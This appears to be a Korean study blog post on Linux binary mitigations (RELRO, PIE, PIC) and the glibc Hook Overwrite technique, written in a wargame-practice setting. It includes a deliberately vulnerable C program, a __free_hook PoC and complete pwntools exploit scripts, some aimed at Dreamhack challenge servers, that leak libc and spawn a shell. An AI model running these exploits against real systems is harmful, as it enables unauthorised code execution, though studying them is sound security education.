    • Full RELRO에서는 Now binding을 사용하기 때문에 프로그래임 메모리에 로드 될때 해당 프로그램에서 사용되는 모든 동적 함수의 주소를 ".got" 영역에 저장된다.

 

< How to detect NX in the "Checksec.sh" file >

▶ Binary

다음과 같은 방법으로 바이너리의 RELRO 설정여부를 확인하자

  • 'readelf' 명령어를 이용해 해당 파일의 프로그래 헤더와 Dynamic section 정보를 가져와 RELRO를 설졍여부를 확인한다.
  • 파일의 프로그래 헤더에 'GNU_RELRO'가 있으면 RELRO가 적용되었다고 판단한다.
    • 그리고 Dynamic section에 BIND_NOW가 있으면 Full RELRO가 적용되었다고 판단한다.
    • Dynamic section에 BIND_NOW가 없으면 Partial RELRO가 적용되었다고 판단한다.

 

▶ Process

위와 같은 방법으로 프로세서의 RELRO 설정여부를 확인한다

PIE

: 위치 독립 코드로 이루어진 실행 가능한 바이너리 

 

< Example >

▶ Source code

#include <stdio.h>
  
char *gBuf = "Lazenca.0x0";
  
void lazenca() {
    printf("Lazenca.0x1\n");
}
  
void main(){
    printf("[.data]    : %p\n",gBuf);
    printf("[Function] : %p\n",lazenca);
}

 

▶ Build PIE file

 

< Check the protection techniques of binary files >

▶ checksec.sh

 

< Compare PIE and NonPIE >

▶ Address

  NoPIE 파일에는 PIE가 적용되지 않았기 때문에 프로그램을 실행할 때마다 전역 변수와 사용자 정의 함수의 주소가 변경되지 않는다.

  PIE 파일에는 PIE가 적용되었기 때문에 프로그램을 실행할 때마다 전역 변수와 사용자 정의 함수의 주소가 매번 달라진다.

 

▶ Code

NoPIE : 코드 영역의 값이 고정된 주소값이다.

PIE : 고정된 주소값이 아닌 offset 값이다. (해당 offset 값을 이용해 할당된 메모 영역에 동적으로 위치할 수 있다.)

- ex) 할당받은 메모리 영역(0x555555554000) + .text 영역의 main함수 코드의 offset 값(0x7c3) = main 함수의 시            작 주소(0x00005555555547c3)

< How to detect PIE in the "Checksec.sh" file >

▶ Binary

  • 'readelf' 명령어를 이용해 해당 파일의 ELF Header 정보를 가져와 PIE 설졍여부를 확인한다.
  • "Type:"의 값이 "EXEC"일 경우 PIE가 적용되지 않았다고 판단한다.
  • "Type:"의 값이 "DYN"일 경우 PIE가 적용되었을 가능성이 있다고 판단한다. ('readelf' 명령어를 이용해 해당 파일의 "Dynamic section" 정보를 가져와 "DEBUG" section이 있으면 PIE가 적용되었다고 판단한다.)

 

▶ Process

다음과 같은 방법으로 프로세서의 Canary 설정여부를 확인한다.

 

[함께실습] Exploit Tech : Hook Overwrite

  Hook에는 갈고리라는 뜻이 있다. 이런 의미를 담아 컴퓨터 과학에서는 운영체제가 어떤 코드를 실행하려 할 때, 이를 낚아채어 다른 코드가 실행되게 하는 것을 Hooking(후킹)이라고 부르며, 이때 실행되는 코드를 Hook(훅)이라고 부른다.

  후킹은 굉장히 다양한 용도로 사용된다. 함수에 훅을 심어서 함수의 호출을 모니터링 하거나, 함수에 기능을 추가할 수도 있고, 아니면 아예 다른 코드를 심어서 실행 흐름을 변조할 수도 있다.

  예를 들어, malloc과 free에 훅을 설치하면 소프트웨어에서 할당하고, 해제하는 메모리를 모니터링할 수 있다. 이를 더욱 응용하면 모든 함수의 도입 부분에 모니터링 함수를 훅으로 설치하여 어떤 소프트웨어가 실행 중에 호출하는 함수를 모두 추적(Tracing)할 수도 있다.

  이러한 모니터링 기능은 해커에 의해 악용될 수도 있다. 해커가 키보드의 키 입력과 관련된 함수에 훅을 설치하면, 사용자가 입력하는 키를 모니터링하여 자신의 컴퓨터로 전송하는 것도 가능하다.

 

▶ malloc, free, realloc hook

  C언어에서 메모리의 동적 할당과 해제를 담당하는 함수에는 malloc, free, realloc이 대표적이다. 각 함수는 libc.so에 구현되어 있다.

  libc에는 이 함수들의 디버깅 편의를 위해 훅 변수가 정의되어 있다. 예를 들어, malloc 함수는 __malloc_hook 변수의 값이 NULL이 아닌지 검사하고, 아니라면 malloc을 수행하기 전에 __malloc_hook이 가리키는 함수를 먼저 실행한다. 이때, malloc의 인자는 훅 함수에 전달된다. 같은 방식으로 free, realloc도 각각 __free_hook, __realloc_hook이라는 훅 변수를 사용한다.

// __malloc_hook
void *__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;
  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook); // malloc hook read
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  checked_request2size (bytes, tbytes);
  size_t tc_idx = csize2tidx (tbytes);
  // ...
}

 

- 훅의 위치와 권한

__malloc_hook, __free_hook, __realloc_hook은 관련된 함수들과 마찬가지로 libc.so에 정의되어 있다.

  이 변수들의 오프셋은 각각 0x3ed8e8, 0x3ebc30, 0x3ebc28인데, 섹션 헤더 정보를 참조하면 libc.so의 bss 섹션에 포함됨을 알 수 있다. bss 섹션은 쓰기가 가능하므로 이 변수들의 값은 조작될 수 있다.

 

▶ Hook Overwrite

  malloc, free, realloc에는 각각에 대응되는 훅 변수가 존재하며, 이들은 libc의 bss 섹션에 위치하여 실행 중에 덮어쓰는 것이 가능하다. 또한, 훅을 실행할 때 기존 함수에 전달한 인자를 같이 전달해 주기 때문에 __malloc_hook을 system 함수의 주소로 덮고, malloc(“/bin/sh”)을 호출하여 셸을 획득하는 등의 공격이 가능하다.

  다음 코드는 훅을 덮는 공격이 가능함을 보이는 Proof-of-Concept(PoC)이다. 컴파일하고 실행하면, __free_hook을 system 함수로 덮고, free(“/bin/sh”)를 호출하자 셸이 획득되는 것을 확인할 수 있다.

// Name: fho-poc.c
// Compile: gcc -o fho-poc fho-poc.c
#include <malloc.h>
#include <stdlib.h>
#include <string.h>
const char *buf="/bin/sh";
int main() {
  printf("\"__free_hook\" now points at \"system\"\n");
  __free_hook = (void *)system;
  printf("call free(\"/bin/sh\")\n");
  free(buf);
}

 

▶ Free Hook Overwrite

  free 함수의 훅을 덮는 공격을 실습해보자.

// Name: fho.c
// Compile: gcc -o fho fho.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;
  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);
  return 0;
}

 

▶ 분석

- 보호 기법

위 코드를 컴파일하고 checksec을 사용하면 모든 보호 기법이 적용되어 있음을 볼 수 있다.

 

- 코드 분석

puts("[1] Stack buffer overflow");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);

buf의 크기는 0x30인데 0x100만큼 읽으므로 매우 큰 스택 버퍼 오버플로우가 발생한다. 그러나 알고 있는 정보가 없으므로 카나리를 올바르게 덮을 수 없고, 반환 주소도 유의미한 값으로 조작할 수 없다. 스택에 있는 데이터를 읽는 데 사용할 수 있을 것이다.

 

puts("[2] Arbitary-Address-Write");
printf("To write: ");
scanf("%llu", &addr);
printf("With: ");
scanf("%llu", &value);
printf("[%p] = %llu\n", addr, value);
*addr = value;

주소를 입력하고, 그 주소에 임의의 값을 쓸 수 있다.

 

puts("[3] Arbitrary-Address-Free");
printf("To free: ");
scanf("%llu", &addr);
free(addr);

주소를 입력하고, 그 주소의 메모리를 해제할 수 있다.

 

- 공격 수단

공격자는 다음 세 가지 수단(Primitive)을 이용하여 셸을 획득해야 한다.

[1] 스택의 어떤 값을 읽을 수 있다.
[2] 임의 주소에 임의 값을 쓸 수 있다.
[3] 임의 주소를 해제할 수 있다.

 

 

▶ 설계

1. 라이브러리의 변수 및 함수들의 주소 구하기

  __free_hook, system 함수, “/bin/sh” 문자열은 libc.so에 정의되어 있으므로, 매핑된 libc.so안의 주소를 구해야 이들의 주소를 계산할 수 있다. [1]을 이용하면 스택의 값을 읽을 수 있는데, 스택에는 libc의 주소가 있을 가능성이 매우 크다. 특히, main 함수는 __libc_start_main이라는 라이브러리 함수가 호출하므로 main 함수에서 반환 주소를 읽으면, 그 주소를 기반으로 필요한 변수와 함수들의 주소를 계산할 수 있을 것이다.

 

2. 셸 획득

  [2]에서 __free_hook의 값을 system 함수의 주소로 덮어쓰고, [3]에서 “/bin/sh”를 해제하게 하면 system(“/bin/sh”)가 호출되어 셸을 획득할 수 있다.

 

 

▶ 익스플로잇

1. 라이브러리의 변수 및 함수들의 주소 구하기

  반환 주소를 읽어서 라이브러리의 변수 및 함수들의 주소를 구할 것이다. gdb로 main 함수의 반환 주소인 libc_start_main을 읽은 다음, 그 값에서 libc의 매핑 주소를 빼면 libc와 반환 주소의 오프셋을 구할 수 있다. 2가지 주소는 모두 libc에 함께 매핑되어있는 주소이기 때문이다. 익스플로잇에서는 그 오프셋을 이용하여 libc의 매핑 주소를 계산할 수 있다.

#!/usr/bin/python3
# Name: fho.py
from pwn import *
p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def slog(name, addr): return success(": ".join([name, hex(addr)]))
# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search("/bin/sh"))
slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)

 

2. 셸 획득

  구해낸  __free_hook, system 함수, ”/bin/sh” 문자열의 주소를 이용하면 셸을 획득할 수 있다.

#!/usr/bin/python3
# Name: fho.py
from pwn import *
p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def slog(name, addr): return success(": ".join([name, hex(addr)]))
# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 231)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search("/bin/sh"))
slog("libc_base", libc_base)
slog("system", system)
slog("free_hook", free_hook)
slog("/bin/sh", binsh)
# [2] Overwrite `free_hook` with `system`
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(system))
# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(binsh))
p.interactive()

 

▶ one_gadget

  one_gadget또는 magic_gadget은 실행하면 셸이 획득되는 코드 뭉치를 말한다. HITCON, 217 CTF팀의 멤버인 david942j가 만든 one_gadget 도구를 사용하면 libc에서 쉽게 one_gadget을 찾을 수 있다.

  one_gadget은 libc의 버전마다 다르게 존재하며, 제약 조건도 모두 다르다. 상황에 맞는 가젯을 사용하거나, 제약 조건을 만족하도록 조작해 줘야한다.

  one_gadget은 함수에 인자를 전달하기 어려울 때 유용하게 사용될 수 있다. 예를 들어, __malloc_hook을 덮을 수 있는데, malloc을 호출할 때 인자를 검사해서 작은 정수밖에 입력할 수 없는 상황이라면 “/bin/sh”를 인자로 전달하기가 매우 어렵다. 이럴 때 제약 조건을 만족하는 one_gadget이 존재한다면, 이를 호출해서 셸을 획득할 수 있다.

 

- one_gadget 실습

#!/usr/bin/python3
# Name: fho_og.py
from pwn import *
p = process("./fho")
e = ELF("./fho")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
def slog(name, addr): return success(": ".join([name, hex(addr)]))
# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1]+b"\x00"*2)
libc_base = libc_start_main_xx - 0x021b97
free_hook = libc_base + libc.symbols["__free_hook"]
og = libc_base+0x4f3c2
slog("libc_base", libc_base)
slog("free_hook", free_hook)
# [2] Overwrite `free_hook` with `one_gadget`
p.recvuntil("To write: ")
p.sendline(str(free_hook))
p.recvuntil("With: ")
p.sendline(str(og))
# [3] Exploit
p.recvuntil("To free: ")
p.sendline(str(0x31337)) # doesn't matter
p.interactive()

 

▶ Hook Overwrite flag 구하기

 

[혼자실습] Hook Overwrite

oneshot

 
// gcc -o oneshot1 oneshot1.c -fno-stack-protector -fPIC -pie

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    char msg[16];
    size_t check = 0;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("MSG: ");
    read(0, msg, 46);

    if(check > 0) {
        exit(0);
    }

    printf("MSG: %s\n", msg);
    memset(msg, 0, sizeof(msg));
    return 0;
}

msg 배열의 크기는 16이지만 46만큼 읽는 것으로 보아 오버플로우가 가능해 보인다.

라이브러리에 stdout 오프셋을 알아내어 라이브러리 베이스 주소를 알아내고자 한다.

 

라이브러리의 0x45216 오프셋에 존재하는 원샷 가젯을 사용한다.

 

from pwn import *
p=remote("host1.dreamhack.games",13987)
libc=ELF('./libc.so.6')

p.recvuntil("stdout: ")
stdout=int(p.recvuntil("\n")[:-1],16)

libc=stdout-0x3c5620
oneshot=libc+0x45216

payload=b"A"*0x18 + b"\x00"*0x8 + b"A"*0x8 + p64(oneshot)

p.sendlineafter("MSG: ", payload)

p.interactive()

  libc.so.6 라이브러리 파일을 이용해 oneshot의 가젯을 구한다. 라이브러리가 매핑된 주소를 알 수 있다면 오프셋 계산을 통해 가젯의 주소를 찾을 수 있다. stdout 오프셋인 0x3c5620을 stdout에서 빼주어 라이브러리 베이스 주소를 구한다. 이 값에 0x45216을 더해 oneshot 가젯 주소를 구한다. 그리고 이를 ret에 넣는다.

 

hook

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr+1);
   
    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

malloc과 free를 이용해 ptr에 값을 입력할 수 있다.

 

위에서 구한 stdout 오프셋은 0x3c5620이다.

 

free_hook의 오프셋은 0x3c67a8이다.

 

from pwn import *
p=remote("host1.dreamhack.games",12982)
elf=ELF('./hook')
libc = ELF("./libc.so.6")

p.recvuntil("stdout: ")
stdout=int(p.recvuntil("\n")[:-1],16)

base=stdout-0x3c5620
free_hook=base+0x3c67a8

payload= p64(free_hook)+p64(elf.plt['system'])

p.sendlineafter("Size: ", "1024")
p.sendlineafter("Data: ", payload)

p.interactive()

위에서 구한 값들로 익스플로잇을 구성하였다.

 

 

[ Bypass PIE & RELRO ]

PIE

: ASLR이 코드 영역에도 적용되게 해주는 기술

 

  이 기술은 보안성 향상을 위해 도입된 것이 아니라서 엄밀하게는 보호 기법이 아니다. 그러나 실제로는 ASLR과 맞물려서 공격을 더욱 어렵게 만들었기에 여러 글이나 발표에서 보호 기법이라고 소개되기도 한다.

 

▶ PIC

  리눅스에서 ELF는 실행 파일(Executable)과 공유 오브젝트(Shared Object, SO)로 두 가지가 존재한다. 실행 파일은 addr처럼 일반적인 실행 파일이 해당하고, 공유 오브젝트는 libc.so와 같은 라이브러리 파일이 해당한다.

  공유 오브젝트는 기본적으로 재배치(Relocation)가 가능하도록 설계되어 있다. 재배치가 가능하다는 것은 메모리의 어느 주소에 적재되어도 코드의 의미가 훼손되지 않음을 의미하는데, 컴퓨터 과학에서는 이런 성질을 만족하는 코드를 Position-Independent Code(PIC)라고 부른다.

 

  gcc는 PIC 컴파일을 지원한다. PIC가 적용된 바이너리와 그렇지 않은 바이너리를 비교하기 위해 다음 예제를 컴파일하고 어셈블리 코드와 비교해보자.

/ Name: pic.c
// Compile: gcc -o pic pic.c
// 	      : gcc -o no_pic pic.c -fno-pic -no-pie
#include <stdio.h>
char *data = "Hello World!";
int main() {
  printf("%s", data);
  return 0;
}

 

▶ PIC 코드 분석

  no_pic와 pic의 main 함수를 비교해보면, main+14에서 “%s” 문자열을 printf에 전달하는 방식이 조금 다르다. no_pic에서는 0x4005a1라는 절대 주소로 문자열을 참조하고 있다. 반면 pic는 문자열의 주소를 rip+0xa2로 참조하고 있다.

  바이너리가 매핑되는 주소가 바뀌면 0x4005a1에 있던 데이터도 함께 이동하므로 no_pic의 코드는 제대로 실행되지 못한다. 그러나 pic의 코드는 rip를 기준으로 데이터를 상대 참조(Relative Addressing)하기 때문에 바이너리가 무작위 주소에 매핑돼도 제대로 실행될 수 있다.

 

 

▶ PIE(Position-Independent Executable)

: 무작위 주소에 매핑돼도 실행 가능한 실행 파일

 

  ASLR이 도입되기 전에는 실행 파일을 무작위 주소에 매핑할 필요가 없었다. 그래서 리눅스의 실행 파일 형식은 재배치를 고려하지 않고 설계되었다. 이후에 ASLR이 도입되었을 때는 실행 파일도 무작위 주소에 매핑될 수 있게 하고 싶었으나, 이미 널리 사용되는 실행 파일의 형식을 변경하면 호환성 문제가 발생할 것이 분명했다. 그래서 개발자들은 원래 재배치가 가능했던 공유 오브젝트를 실행 파일로 사용하기로 했다.

  실제로 리눅스의 기본 실행 파일 중 하나인 /bin/ls는 공유 오브젝트 형식을 띄고 있다.

 

▶ PIE on ASLR

  PIE는 재배치가 가능하므로, ASLR이 적용된 시스템에서는 실행 파일도 무작위 주소에 적재된다. Mitigation: ASLR&NX에서 사용한 예제를 이번에는 PIE를 적용하여 컴파일하고 실행 결과를 확인해보자. 현대의 gcc는 PIE를 기본적으로 적용하므로 모든 옵션을 제거하면 PIE가 적용된 바이너리로 컴파일된다.

 

PIE가 적용되자 main함수의 주소가 매 실행마다 바뀌고 있음을 알 수 있다.

 

▶ PIE 우회

- 코드 베이스 구하기

  ASLR환경에서 PIE가 적용된 바이너리는 실행될 때 마다 다른 주소에 적재된다. 그래서 코드 영역의 가젯을 사용하거나, 데이터 영역에 접근하려면 바이너리가 적재된 주소를 알아야 한다. 이 주소를 PIE 베이스, 또는 코드 베이스라고 부른다. 코드 베이스를 구하려면 라이브러리의 베이스 주소를 구할 때 처럼 코드 영역의 임의 주소를 읽고, 그 주소에서 오프셋을 빼야합니다. 

 

- Partial Overwrite

  코드 베이스를 구하기 어렵다면 반환 주소의 일부 바이트만 덮는 공격을 고려해볼 수도 있다. 이러한 공격 기법을 Partial Overwrite라고 부른다. 일반적으로 함수의 반환 주소는 호출 함수(Caller)의 내부를 가리킨다. 특정 함수의 호출 관계는 정적 분석 또는 동적 분석으로 쉽게 확인할 수 있으므로, 공격자는 반환 주소를 예측할 수 있다.

  ASLR의 특성 상, 코드 영역의 주소도 하위 12비트 값은 항상 같다. 따라서 사용하려는 코드 가젯의 주소가 반환 주소와 하위 한 바이트만 다르다면, 이 값만 덮어서 원하는 코드를 실행시킬 수 있다. 그러나 만약 두 바이트 이상이 다른 주소로 실행 흐름을 옮기고자 한다면, ASLR로 뒤섞이는 주소를 맞춰야 하므로 브루트 포싱이 필요하며, 공격이 확률에 따라 성공하게 된다.


RELRO

  ELF는 GOT를 활용하여 반복되는 라이브러리 함수의 호출 비용을 줄인다. GOT에 값을 채우는 방식은 다양하다. Lazy Binding은 함수가 처음 호출될 때 함수의 주소를 구하고, 이를 GOT에 적는 방법이다.

  Lazy binding을 하는 바이너리는 실행 중에 GOT 테이블을 업데이트할 수 있어야 하므로 GOT에 쓰기 권한이 부여된다. 그런데 이는 앞서 소개한 공격 기법들에서 알 수 있듯, 바이너리를 취약하게 만드는 원인이 된다.

  또한, ELF의 데이터 세그먼트에는 프로세스의 초기화 및 종료와 관련된 .init_array, .fini_array가 있다. 이 영역들은 프로세스의 시작과 종료에 실행할 함수들의 주소를 저장하고 있는데, 여기에 공격자가 임의로 값을 쓸 수 있다면, 프로세스의 실행 흐름이 조작될 수 있다.

  리눅스 개발자들은 이러한 문제를 해결하고자 프로세스의 데이터 세그먼트를 보호하는 RELocation Read-Only(RELRO)을 개발했다. RELRO는 쓰기 권한이 불필요한 데이터 세그먼트에 쓰기 권한을 제거한다.

  RELRO는 RELRO를 적용하는 범위에 따라 두 가지로 구분된다. 하나는 RELRO를 부분적으로 적용하는 Partial RELRO이고, 나머지는 가장 넓은 영역에 RELRO를 적용하는 Full RELRO이다.

▶ Partial RELRO

// Name: relro.c
// Compile: gcc -o prelro relro.c -no-pie -fno-PIE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
  FILE *fp;
  char ch;
  fp = fopen("/proc/self/maps", "r");
  while (1) {
    ch = fgetc(fp);
    if (ch == EOF) break;
    putchar(ch);
  }
  return 0;
}

 

- RELRO 검사

  실습 환경의 gcc는 Full RELRO를 기본 적용하며, PIE를 해제하면 Partial RELRO를 적용한다. 바이너리의 RELRO 여부도 checksec으로 검사할 수 있다.

 

▶ Partial RELRO 권한

  prelro를 실행해보면 0x601000부터 0x602000까지의 주소에는 쓰기 권한이 있는 것을 확인할 수 있다. 섹션 헤더를 참조해보면 해당 영역에는 .got.plt, .data, .bss가 할당되어 있다. 따라서 이 섹션들에는 쓰기가 가능하다.

  반면, .init_array와 .fini_array는 각각 0x600e10과 0x600e18에 할당되어 쓰기가 불가능하다.

 

※ .got와 .got.plt

  Partial RELRO가 적용된 바이너리는 got와 관련된 섹션이 .got와 .got.plt로 두 개가 존재한다. 전역 변수 중에서 실행되는 시점에 바인딩(now binding)되는 변수는 .got에 위치한다. 바이너리가 실행될 때는 이미 바인딩이 완료되어있으므로 이 영역에 쓰기 권한을 부여하지 않다.

  반면 실행 중에 바인딩(lazy binding)되는 변수는 .got.plt에 위치한다. 이 영역은 실행 중에 값이 써져야 하므로 쓰기 권한이 부여된다. Partial RELRO가 적용된 바이너리에서 대부분 함수들의 GOT 엔트리는 .got.plt에 저장된다.

 

▶ Full RELRO

  frelro를 실행하여 메모리 맵을 확인하고, 이를 섹션 헤더 정보와 종합해보면 got에는 쓰기 권한이 제거되어 있으며 data와 bss에만 쓰기 권한이 있다. Full RELRO가 적용되면 라이브러리 함수들의 주소가 바이너리의 로딩 시점에 모두 바인딩된다. 따라서 GOT에는 쓰기 권한이 부여되지 않는다.

 

▶ RELRO 기법 우회

  Partial RELRO의 경우, .init_array와 .fini_array에 대한 쓰기 권한이 제거되어 두 영역을 덮어쓰는 공격을 수행하기 어려워진다. 하지만, .got.plt 영역에 대한 쓰기 권한이 존재하므로 GOT overwrite 공격을 활용할 수 있다.

  Full RELRO의 경우, .init_array, .fini_array 뿐만 아니라 .got 영역에도 쓰기 권한이 제거된다. 그래서 공격자들은 덮어쓸 수 있는 다른 함수 포인터를 찾다가 라이브러리에 위치한 hook을 찾아냈다. 라이브러리 함수의 대표적인 hook이 malloc hook과 free hook이다. 원래 이 함수 포인터는 동적 메모리의 할당과 해제 과정에서 발생하는 버그를 디버깅하기 쉽게 하려고 만들어졌다.

  malloc 함수의 코드를 살펴보면, 함수의 시작 부분에서 __malloc_hook이 존재하는지 검사하고, 존재하면 이를 호출한다. __malloc_hook은 libc.so에서 쓰기 가능한 영역에 위치한다. 따라서 공격자는 libc가 매핑된 주소를 알 때, 이 변수를 조작하고 malloc을 호출하여 실행 흐름을 조작할 수 있다. 이와 같은 공격 기법을 통틀어 Hook Overwrite라고 부른다.

 

<요약>

RELocation Read-Only(RELRO): 불필요한 데이터 영역에 쓰기 권한을 제거함.

Partial RELRO: init array, fini array 등 여러 섹션에 쓰기 권한을 제거함. Lazy binding을 사용하므로 라이브러리 함수들의 GOT 엔트리는 쓰기가 가능함. GOT Overwrite등의 공격으로 우회가 가능함.

Full RELRO: init array, fini array 뿐만 아니라 GOT에도 쓰기 권한을 제거함. Lazy binding을 사용하지 않으며 라이브러리 함수들의 주소는 바이너리가 로드되는 시점에 바인딩됨. libc의 malloc hook, free hook과 같은 함수 포인터를 조작하는 공격으로 우회할 수 있음.

+ Recent posts